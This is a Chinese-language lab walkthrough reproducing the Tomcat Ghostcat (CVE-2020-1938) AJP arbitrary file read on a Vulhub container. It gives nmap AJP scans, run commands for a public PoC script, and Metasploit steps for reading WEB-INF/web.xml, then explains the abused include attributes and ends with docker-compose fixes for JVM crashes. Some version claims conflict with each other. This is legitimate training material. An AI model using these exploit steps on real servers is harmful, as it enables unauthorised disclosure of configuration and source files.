本文详细介绍了 Apache Tomcat 历史上最严重的漏洞之一:幽灵猫(Ghostcat, CVE-2020-1938) 的复现过程。该漏洞存在于 Tomcat 默认开启的 AJP 协议(定向包协议)中,其核心缺陷在于 AJP 协议对请求的处理过于“信任”,导致攻击者可以伪造请求参数,实现对服务器任意文件的读取或包含。
漏洞基础信息
| 项目 | 详情 |
|---|---|
| 漏洞编号 | CVE-2020-1938、CNVD-2020-10487 |
| 漏洞等级 | 超危(CVSS 评分:9.8) |
| 影响版本 | Apache Tomcat 6.x、7.x(< 7.0.100)、8.x(< 8.5.51)、9.x(< 9.0.31)(未修复 AJP 协议漏洞的版本) |
| 漏洞类型 | 文件包含(任意文件读取 / 远程代码执行) |
漏洞复现
复现环境准备
使用vulhub快速搭建漏洞环境:
# 安装Docker和docker-compose
apt install docker.io docker-compose
# 将 Vulhub 项目克隆到本地
git clone https://github.com/vulhub/vulhub.git
# 拉取镜像并启动容器
cd vulhub/tomcat/CVE-2020-1938
docker-compose up -d
# 确认容器启动状态
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
26a632f74c40 vulhub/tomcat:9.0.30 "catalina.sh run" 3 minutes ago Up 3 minutes 0.0.0.0:8009->8009/tcp, :::8009->8009/tcp, 0.0.0.0:8080->8080/tcp, :::8080->8080/tcp cve-2020-1938-tomcat-1
注:如果启动容器后执行docker ps发现容器并没有如预期启动,很有可能是容器/宿主机内存不足、文件描述符限制过低导致 JVM 崩溃。需要给容器分配足够内存(1G 以上)、调整 JVM 堆内存参数、提升宿主机文件描述符限制。详情可参见附录
访问target-IP:8080确认容器正常启动。

目标探测
# 使用 Nmap 官方 AJP 漏洞扫描脚本
nmap --script ajp-methods,ajp-brute,ajp-request -p 8009 target-IP
# 扫描结果
PORT STATE SERVICE
8009/tcp open ajp13
| ajp-methods:
|_ Supported methods: GET HEAD POST OPTIONS
| ajp-request:
| AJP/1.3 200 200
| ...
| ajp-brute:
|_ URL does not require authentication
MAC Address: 00:0C:29:B3:23:74 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.71 seconds
ajp-brute: URL does not require authentication:AJP 服务无需认证即可访问。CVE-2020-1938 的核心成因就是 Tomcat 的 AJP 协议默认开启且无认证(或使用弱密钥),导致攻击者可通过 AJP 协议读取服务器任意文件或包含恶意文件。
攻击过程
使用漏洞利用脚本
Vulhub自带了POC,基于CNVD-2020-10487-Tomcat-Ajp-lfi改进而来。
# 使用CNVD-2020-10487-Tomcat-Ajp-lfi
执行脚本,读取 web.xml(替换为你的服务器 IP)
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.git
cd CNVD-2020-10487-Tomcat-Ajp-lfi
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py -p 8009 -f/WEB-INF/web.xml target-IP
注意使用的python2而不是python3,若使用python3则需进行以下修改
self.stream = self.socket.makefile("rb", bufsize=0)
修改为:
self.stream = self.socket.makefile("rb", buffering=0)
使用Vulhub自带的poc.py:
python2 poc.py target-IP -p 8009 -f /WEB-INF/web.xml
成功返回结果:

使用Metasploit/MSF
# 启动 MSF 交互控制台
msfconsole
# 搜索可用模块
msf > search cve-2020-1938
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/http/tomcat_ghostcat 2020-02-20 normal Yes Apache Tomcat AJP File Read
msf > use 0
msf auxiliary(admin/http/tomcat_ghostcat) > set RHOST 192.168.31.148
RHOST => 192.168.31.148
# msf中默认的filename值为/WEB-INF/web.xml
msf auxiliary(admin/http/tomcat_ghostcat) > set filename /WEB-INF/web.xml
filename => /WEB-INF/web.xml
msf auxiliary(admin/http/tomcat_ghostcat) > run

靶机中对应的路径实际上是/usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml,也就是说,利用该漏洞只能读取到/usr/local/tomcat/webapps/ROOT/下的文件。靶机的Tomcat版本为9.0.30,该版本的 Tomcat 对 AJP 协议做了核心修复,严格限制了路径跳转(../)、上下文隔离,封堵了所有跨 Web 应用目录读取系统文件的方式。
漏洞核心原理
Tomcat默认在server.xml中开启AJP协议端口(默认8009),用于与其他Web服务器(如Apache HTTPD)通信。由于AJP协议在处理请求时未对用户输入充分验证,攻击者可通过构造恶意请求操控以下三个关键属性:
javax.servlet.include.request_urijavax.servlet.include.path_infojavax.servlet.include.servlet_path通过控制这些属性,攻击者可读取或包含webapp目录下的任意文件(如WEB-INF/web.xml、源代码等),甚至结合文件上传功能实现远程代码执行(RCE)
附录
容器启动失败解决方案
定位原因
执行docker-compose up -d后发现容器并没有按照预期正常启动,docker-compose logs查看日志:
tomcat-1 | # A fatal error has been detected by the Java Runtime Environment:
tomcat-1 | #
tomcat-1 | # SIGSEGV (0xb) at pc=0x00007f9ca649a611, pid=1, tid=0x00007f9ca5385700 <-- 崩溃类型+地址+进程/线程ID
tomcat-1 | #
tomcat-1 | # JRE version: OpenJDK Runtime Environment (8.0_242-b08) (build 1.8.0_242-b08) <-- JRE版本
tomcat-1 | # Java VM: OpenJDK 64-Bit Server VM (25.242-b08 mixed mode linux-amd64 compressed oops) <-- VM信息
tomcat-1 | # Problematic frame: <-- 核心出错帧
tomcat-1 | # C [libc.so.6+0x22611] abort+0x1fd
tomcat-1 | #
tomcat-1 | # Core dump written. Default location: /usr/local/tomcat/core or core.1 <-- 核心转储路径
tomcat-1 | #
tomcat-1 | # An error report file with more information is saved as: <-- 错误日志路径
tomcat-1 | # /usr/local/tomcat/hs_err_pid1.log
tomcat-1 | #
tomcat-1 | # If you would like to submit a bug report, please visit:
tomcat-1 | # http://bugreport.java.com/bugreport/crash.jsp
tomcat-1 | # The crash happened outside the Java Virtual Machine in native code. <-- 崩溃位置(原生代码)
tomcat-1 | # See problematic frame for where to report the bug. <-- 具体原因
tomcat-1 | #
tomcat-1 | library initialization failed - unable to allocate file descriptor table - out of memory# <-- 具体原因
关键提示:library initialization failed - unable to allocate file descriptor table - out of memory(库初始化失败 – 无法分配文件描述符表 – 内存不足)。
JVM 崩溃的本质是容器/宿主机资源不足(内存不足、文件描述符限制过低),导致 JVM 无法完成初始化,触发段错误(SIGSEGV)。
首先确认宿主机本身是否有足够的内存 / 资源,执行以下命令查看:
# 查看宿主机内存使用情况(重点看free列的可用内存)
free -h
# 查看宿主机文件描述符当前限制
ulimit -n
如果宿主机可用内存(free)小于 1G,必须先关闭其他占用内存的程序(比如其他容器、无用服务),否则再怎么配置容器都没用;如果ulimit -n返回值小于 10240,说明宿主机文件描述符限制过低,也需要修改。
修复问题
修改 vulhub/tomcat/CVE-2020-1938/docker-compose.yml 为以下完整配置:
services:
tomcat:
image: vulhub/tomcat:8.5.50
container_name: tomcat-1
ports:
- "8080:8080"
- "8009:8009"
# 兼容所有docker版本的内存限制
mem_limit: 1024m # 容器最大可用内存1G
mem_reservation: 512m # 容器预留内存512M
# 调整JVM参数
environment:
- JAVA_OPTS=-Xms128m -Xmx256m -XX:+HeapDumpOnOutOfMemoryError
# 提升容器内部文件描述符限制
ulimits:
nofile:
soft: 65535
hard: 65535
注意缩进,缩进错误可能会导致报错:
yaml: line 5: did not find expected '-' indicator